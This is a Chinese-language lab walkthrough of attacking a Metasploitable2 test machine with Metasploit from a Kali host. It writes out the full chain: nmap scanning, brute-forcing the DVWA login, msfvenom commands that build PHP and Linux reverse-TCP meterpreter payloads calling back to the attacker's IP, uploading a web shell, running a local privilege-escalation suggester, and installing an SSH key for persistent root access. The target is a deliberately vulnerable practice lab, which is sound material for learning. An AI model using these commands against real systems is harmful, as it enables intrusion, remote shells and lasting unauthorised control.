靶机Metasploitable2：192.168.11.105
攻击机kail：192.168.11.106
一、创建工作空间
显示数据库未连接：
使用
msfdb init
对数据进行初始化：
db_status
显示数据库已连接。
使用命令
workspace -a 192.168.11.105
创建目标工作空间。
二、信息搜集
在msf中使用db_nmap 调用nmap对目标进行扫描：
保存在数据库中，
使用
services
查看保存结果：
对于http端口，使用http_version搜索相关版本信息
使用命令
search http_version
查找相关信息：
使用
use
进入模块，
set
配置，
run
运行：
由结果可知，是PHP应用。
通过http运行的web程序进行渗透测试；对web程序，使用
dir_scanner模块对目录进行扫描。
破解DVWA的用户密码：
nmap -p80 --script http-form-brute --script-args http-form-brute.path=/dvwa/login.php 192.168.11.105 -d
得到用户密码：
admin/password
基于dvwa文件上传漏洞
http://192.168.11.105/dvwa/vulnerabilities/upload/
使用命令：
msfvenom -l payload | grep php | grep meterpreter
筛选php后渗透模块的payload.
选择php/meterpreter_reverse_tcp模块，使用命令：
msfvenom -p
php/meterpreter_reverse_tcp
lost=192.168.11.106 lport=4445 -o /home/shell.php指定payload模块设置监听地址及监听端口，并指定生成文件的地址。可以看到成功生成shell.php文件
上传shell.php文件:
报错： Your image was not uploaded,并不是如下图期望的结果：
参考：
DVWA实验-文件上传_Ping_Pig的博客-CSDN博客_your image was not uploaded.
三、打开msf设置监听
使用命令
use exploit/multi/handler
配置监听模块：
set payload php/meterpreter_reverse_tcp
(此处的payload一定要和上方生成的payload的是同一个模块)
set lhost 192.168.11.106
设置监听的ip
set lport 4445
设置监听端口
浏览器上访问上传的shell.php文件
http://192.168.11.105/dvwa/hackable/uploads/shell.php
，msf会生成相关的会话：
由于生成的会话不稳定（会话被中断，执行run重新访问上传的shell.php即可），且
php meterpreter 不具有meterpreter完整功能，因此可以继续上传elf的meterpreter获取更多操作功能。
使用命令
msfvenom -l payload | grep linux | grep meterpreter
筛选Linux后渗透测试payload：
使用命令：
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.11.106 lport=4443 -f elf -o /home/shell.elf
生成payload:
使用刚才通过的上传php获得的meterpreter，上传生成的shell.elf
upload /home/shell.elf
上传成功:
使用
dir
查看已经成功上传shell.elf，
且具备执行权限（若文件不具备执行权限则使用命令对文件添加权限）
再打开一个msf监听，监听上传的exe会话:
set payload linux/x86/meterpreter_reverse_tcp
set lhost 192.168.11.106
set lport 4443
在通过的上传php获得的meterpreter，使用命令
execute -f shell.elf
执行上传的exe：
可在新打开的msf中建立相关的会话：
此时获得权限认为web服务层面的权限
使用
getuid
查看当前会话权限，非root权限，需要提权：获取system权限
输入
bg
进行会话保存：
使用命令
use post/multi/recon/local_exploit_suggester
配置相关参数检测是否存在
提权
模块：
使用提示的模块进行提权：获得system权限
维持权限
使用 post/linux/manage目录下得sshkey_persistence模块实现对Linux服务的持续控制
use post/linux/manage/sshkey_persistence
show options
set session 4
(使用具有root权限的session)
run
执行后会生成私钥文件：
直接使用命令
ssh
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa
root@[目标ip] -i [私钥文件路径]
直接登录目标机器：若报错请参考
Solution to openssh-8.8-p1 update: no matching host key type found. Their offer: ssh-rsa :: /dev/ttyS3 — 回首向来萧瑟处 也无荒野也无灯
四、参考
Metasploit系列----未知目标测试_midsummer_woo的博客-CSDN博客
DVWA实验-文件上传_Ping_Pig的博客-CSDN博客_your image was not uploaded.
Solution to openssh-8.8-p1 update: no matching host key type found. Their offer: ssh-rsa :: /dev/ttyS3 — 回首向来萧瑟处 也无荒野也无灯
